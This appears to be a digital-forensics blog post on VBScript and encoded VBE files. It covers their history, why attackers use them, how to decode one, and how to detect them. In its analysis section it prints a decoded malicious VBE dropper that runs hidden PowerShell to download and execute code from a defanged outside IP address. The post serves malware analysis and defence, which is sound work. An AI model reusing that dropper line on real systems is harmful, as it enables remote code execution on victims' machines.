I’ll begin with a continued Happy Holidays! I know many colleagues and friends who are enjoying this in-between week on vacation, and I hope most of you are enjoying it away from the keyboard. You’ve earned it!
In last week’s Full Packet Friday, I analyzed a PCAP file that contained a VBE script that, upon execution, downloaded and executed additional malware. In the post I briefly touched upon the VBE file, but I wanted to respond to a request to dig into VBE files a bit further. If the recent PCAP example wasn’t enough, VBE scripts are still utilized by attackers and, unfortunately, still successful in evading endpoint detection mechanisms.
VBScript
Before getting into VBE files, let’s first look at their origin. Microsoft Visual Basic Scripting Edition, or “VBScript”, is an Active Scripting language developed by Microsoft. The language is based on Visual Basic (hence the super stealthy name), and has been around for about 20 years!
VBScript originally gained popularity as a resource for Windows system administrators to manage their computers. In a nutshell, it allows for control over many functions of a host, and is installed by default. It’s simple to read and simple to write. Here’s some sample VBScript to display the current date/time:
WScript.Echo Now()You may be thinking “Wait, VBScript sounds a lot like PowerShell”, and you wouldn’t be wrong. One core difference to know is that VBScript utilizes Component Object Model (“COM”) components while PowerShell is built on .NET. A lot of recent development has gone into building out PowerShell as THE system administrator’s tool, however VBScript is still available, still executed, and still works.
In many situations, VBScript is just as powerful as PowerShell. It can be used to perform functions such as Active Directory management, implement group policies, or interact with your host’s hardware. It can read/modify the Registry, connect to WMI, and execute on a remote host. Many system administrators have had to lean on VBScript in some way, shape, or form in the past, and are quite adept at it.
VBScript is/was also used heavily in web development, and can be found both client- and server-side. VBScript is one of the languages that can be used for Active Server Pages, or “ASP”, web design, for example. Scripting blocks inside of ASP were often delimited by the characters <% and %> . Here’s the same Now() example from above, but displayed in a web page:
<html>
<body>
The current date and time is <% Now() %>
</body>
</html>It was supported in Internet Explorer, and yes, was most likely the reason why a lot of intranet web pages “required” Internet Explorer where other browsers fail (among numerous other lack-of-backwards-compatibility-issues). I’m reaching back into old enterprise days; hopefully I’m not alone in those horrible memories.
Lastly, it is important to note that VBScript was deprecated as of Internet Explorer 11.
VBE
With an understanding of VBScript, let’s discuss how VBE came into play. As I briefly mentioned, VBScript was often used in web development. As ASCII text, it was not much effort to read, understand, and modify code. It was also very easy to steal. Microsoft addressed this issue by offering Script Encoding. This mechanism encoded the scripts into unreadable text, but could still execute. It was touted as a way to help protect intellectual property as well as maintain script integrity.
Encoding was also used by system administrators who were using VBScript to hop around the network and perform various functions. Again, knowing that VBScripts were simply ASCII files, users could easily access these files and potentially modify them. Worse, steal them and give them to a competitor. Even worse yet, ASCII scripts gave attackers a really easy way to blend in to the environment. By encoding, system administrators could make the script look like nonsensical text and deter many users from messing with the code.
Popularity with Attackers
The above paragraphs are not only a brief history of VBScript, but also reasons why VBScript and VBE are popular with attackers. VBScript has been installed by default on every version of Windows since Windows 98 and NT 4 (with the Option Pack). Despite the deprecation in IE11, VBScript can still be executed on modern Windows operating systems. The rich features it provides are still largely available, and it can be hidden in a myriad of file types/extensions.
Attackers typically love a scripting language that is easy to write and available on almost all, if not all, of their target hosts. VBScript is just that, and has been for many operating systems now. Attackers also love to utilize scripts that blend in with normal operations — hiding in plain sight, if you will. In many enterprises, VBScript was used heavily and executed often. Additionally, if a system administrator is using VBScript, there’s a high chance that those files are allowed on systems and not blocked or inspected.
Lastly, with built-in encoding and decoding functions, as well as the ability to build-in obfuscation, attackers have nearly endless possibilities of ensuring that their code gets executed on the target host. All of these capabilities without needing to install any software or ensure compatibility.
Analyzing VBE
Apologies on the wall of text above, but it’s important to lay the groundwork for what we’re examining here. Let’s get to the fun part, and say you encounter malicious a VBE file. Going back to last Friday’s PCAP, here’s an example of a VBE script:
A few things should jump out. First, it’s very tough to read anything! Second, it appears that the text from the PCAP is in UTF-16. Let me quickly convert that to UTF-8, just to prove a point about the encoding:
Still can’t read anything! The need to convert to UTF-8 was to get our decoding tool to work.
Author’s note: If you ever run into issues with decoding tools, check the encoding of your encoded text :)
There are some fantastic tools out there to decode VBE files. Many of the original tools were written in VBScript, and allowed for dragging and dropping of encoded scripts. As I am very rarely analyzing VBScript inside of a Windows environment, I tend to rely on other mechanisms.
Didier Stevens has published a really nifty VBE decoding script over at his website. This script became part of my arsenal as soon as it was released. Running the encoded text through Didier’s script gives us the decoded script contents:
python decode-vbe.py script_utf-8Dim ObjShell:set ObjShell=CreAteObjEct("WScript.Shell"):Const quote="""":strCMD="cmd.exe /C powershell -nop -exec bypass -c "&Quote&"IEX (New-Object Net.WebClient).DownloadString('hxxp://65[.]181[.]112[.]240/bibi/w7.txt')"&Quote&";x":obJShell.Run strCMD,0
I love that, in this example, the attacker is using VBScript to call PowerShell to download a file named w7.txt. With the CreAteObjEct(“WScript.Shell”) VBScript, the attacker sets ObjShell to a shell object that can execute code. As discussed in the PCAP analysis, this text file contained additional malicious code.
And..that’s it! It really is that simple. However, we’ve now got an idea of what types of language(s) our attackers likes to use as stage 0 or stage 1 droppers.
A huge thanks to Didier for creating and releasing that script, it has certainly made the DFIR life easier.
Detecting VBE Files
Before wrapping this post up, I wanted to take a moment and discuss potential ways to detect these malicious files. Here are a few thoughts, especially for internal DFIR teams or threat hunters:
- VBE files are, based on my experience, extremely rare and legitimate these days. Rare enough that when I’ve come across them, I usually flag and get an answer as to the origin.
- If you’ve got the ability to peek into HTTP traffic, put an alert or two together for .vbe files. Again, these are becoming increasingly rare, especially with the IE11 deprecation. I’d also go as far to say that VBE files requested from an external site should be flagged. Take a look at the HTTP data from last Friday’s PCAP:
- If you’ve got the ability to do file-level introspection, perhaps look for VBE files. Very rarely will these files be hanging around for a while, but you might just get lucky if an attacker is utilizing VBE files to move laterally. With his decoding script, Didier also released a YARA rule for VBE files.
- Remember, this is code designed to execute in a Windows environment. Get into a VM or a non-Windows analysis environment, and analyze safely there.
Additional Notes
I didn’t go into them in any detail, but Microsoft has also released it’s own version of JavaScript (with a few modifications) called JScript. It’s actually as old as VBScript, and support for JScript was released at the same time. JScript also has its own encoding capabilities , and you may come across a JSE file. This is, obviously, encoded JScript.
One More Thing
In my research on VBScript, I came across one of my favorite Stack Overflow Answer sections. Here’s a screenshot below:
Until tomorrow, Happy Forensicating!
